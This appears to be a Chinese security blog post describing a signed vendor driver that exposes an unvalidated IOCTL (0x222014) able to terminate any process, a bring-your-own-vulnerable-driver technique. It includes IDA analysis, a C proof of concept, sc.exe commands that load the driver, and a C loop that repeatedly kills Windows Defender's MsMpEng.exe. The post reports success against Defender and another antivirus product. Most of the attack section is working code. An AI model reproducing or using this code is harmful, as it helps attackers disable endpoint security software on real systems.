当前位置:首页 > 文章 > 0day

某想驱动存在任意结束进程漏洞

admin3周前 (06-23)0day40
摘要:前言在日常翻看 GitHub 追踪红队前沿武器库时,注意到了 PhantomKiller 这个项目。原理也很简单,利用带有合法数字签名的脆弱性驱动程序(即 BYOVD 漏洞),通过合法的驱动绕过 Windows 的驱动程序强制签名,利用驱动存在在结束进程函数结束杀软,在近几年来,白驱动出现的频率特别…

前言

在日常翻看 GitHub 追踪红队前沿武器库时,注意到了 PhantomKiller 这个项目。原理也很简单,利用带有合法数字签名的脆弱性驱动程序(即 BYOVD 漏洞),通过合法的驱动绕过 Windows 的驱动程序强制签名,利用驱动存在在结束进程函数结束杀软,在近几年来,白驱动出现的频率特别高,特别是在那几个知名的apt组织里,像银狐就很爱用白驱动杀某60,似乎他们很爱钻研kill杀软的思路,不过在实际的合法的攻防项目里,可能白驱动不太容易出现,一是很可能造成蓝屏导致业务停止,二是一般来说这涉及到客户真实系统的破坏性,所以白驱动更多的是偏研究性质的东西
仔细研读 PhantomKiller 的思路,它选择的白驱动是某想的驱动,这些驱动虽然有合法的数字签名,但其内部代码在处理应用层发送的 IOCTL
时,没有对传入的地址和数据做严格的校验,直接向应用层暴露了任意结束进程的函数。只要我们在 Ring 3 能够成功通过 CreateFile 打开这个驱动的设备对象,再用DeviceIoControl 喂给它精心构造的控制缓冲区,就能借用这个内核驱动的“结束杀软的进程,虽然一些安全厂商也开始对驱动攻击防护,例如拦截已知的漏洞驱动,拦截驱动加载等 但对于大部分杀软这个方式还是很有效的
不管是在r3或者r0的权限上,实际结束杀软的方式千奇百怪,也发展出了很多r3上的强杀杀软的技术,例如当时的pool注入,com,未记录的函数等技术,但是在r3上,仍然需要面临很多的问题,例如函数被挂钩,虽然r3的钩子很好绕,但是内核的回调函数基本没啥办法,其次常见手段你无法打开edr的进程,很多时候哪怕权限很高,还有就是ppl的防护,更难对付的是一些前沿杀软的elam机制

驱动分析

可以看到驱动签名来源于某想

拉入ida后直接找DriverObject->MajorFunction[14],也就是sub_140001020
可以看到调用号为0x222014,漏洞函数为sub_14000198C
函数也十分简洁明了,就差把注释写脸上了,直接就是终结进程的函数,没有任何校验和其他逻辑

代码实现


#include <windows.h>#include <stdio.h>
int main(int argc, char* argv[]) { if (argc != 2) { printf("usage: poc.exe <pid>\n"); return 1; }
 DWORD pid = atoi(argv[1]); HANDLE h = CreateFileW(L"\\\\.\\BootRepair", GENERIC_READ | GENERIC_WRITE, 0NULL, OPEN_EXISTING, 0NULL); if (h == INVALID_HANDLE_VALUE) { printf("[-] open device failed: %d\n"GetLastError()); return 1; }
 DWORD ret; if (DeviceIoControl(h, 0x222014, &pid, sizeof(pid), NULL0, &ret, NULL)) printf("[+] killed %d\n", pid); else printf("[-] ioctl failed: %d\n"GetLastError());
 CloseHandle(h); return 0;}

实战效果

window defender

这里模拟漏洞驱动加载

sc.exe create test binPath="test.sys" type=kernelsc.exe start test
可以看到成功杀死window defender 注意 defender会不断重启 写个while循环反复kill即可

相关代码

#include <windows.h>#include <tlhelp32.h>#include <stdio.h>#include <wchar.h>#define DEFENDER_PROCESS_NAME L"MsMpEng.exe"

DWORD GetDefenderProcessId(const wchar_t* processName) { DWORD pid = 0; HANDLE hSnapshot = NULL; PROCESSENTRY32W pe32;
 hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE) { return 0; }
 pe32.dwSize = sizeof(PROCESSENTRY32W);
 if (!Process32FirstW(hSnapshot, &pe32)) { CloseHandle(hSnapshot); return 0; }

 do {
 if (_wcsicmp(pe32.szExeFile, processName) == 0) { pid = pe32.th32ProcessID; break } } while (Process32NextW(hSnapshot, &pe32));

 CloseHandle(hSnapshot);
 return pid;}int main(int argc, char* argv[]) {


 HANDLE h = CreateFileW(L"\\\\.\\BootRepair", GENERIC_READ | GENERIC_WRITE, 0NULL, OPEN_EXISTING, 0NULL); if (h == INVALID_HANDLE_VALUE) { printf("[-] open device failed: %d\n"GetLastError()); return 1; }
 DWORD ret; while (TRUE) { DWORD pid = GetDefenderProcessId(DEFENDER_PROCESS_NAME); if (DeviceIoControl(h, 0x222014, &pid, sizeof(pid), NULL0, &ret, NULL)) printf("[+] killed %d\n", pid); else printf("[-] ioctl failed: %d\n"GetLastError()); } CloseHandle(h); return 0;}

某绒

可以看到截至目前 该驱动还没有被拉黑

模拟加载驱动
可以看到某绒的四个进程都被成功kill

扫描二维码推送至手机访问。

版权声明:本文由日常随记发布,如需转载请注明出处。

本文链接:https://www.7x0.cn/post/30.html

“某想驱动存在任意结束进程漏洞” 的相关文章

CVE-2026-22200:osTicket工单直通系统Shell的漏洞剖析

CVE-2026-22200:osTicket工单直通系统Shell的漏洞剖析

    Horizon3.ai的研究团队在流行的开源服务台系统osTicket中发现了一个受CTF启发、编号为CVE-2026-22200的安全漏洞。该漏洞允许匿名攻击者通过向工单中注入恶意的PHP过滤器链表达式,然后将工单导出为PDF文档,从而读取服务器上的任意文件。攻击者可以…

飞牛系统(fnOS)任意文件读取漏洞 附POC

飞牛系统(fnOS)任意文件读取漏洞 附POC

免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后…

Fastadmin框架任意文件读取漏洞 附POC

Fastadmin框架任意文件读取漏洞 附POC

免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。…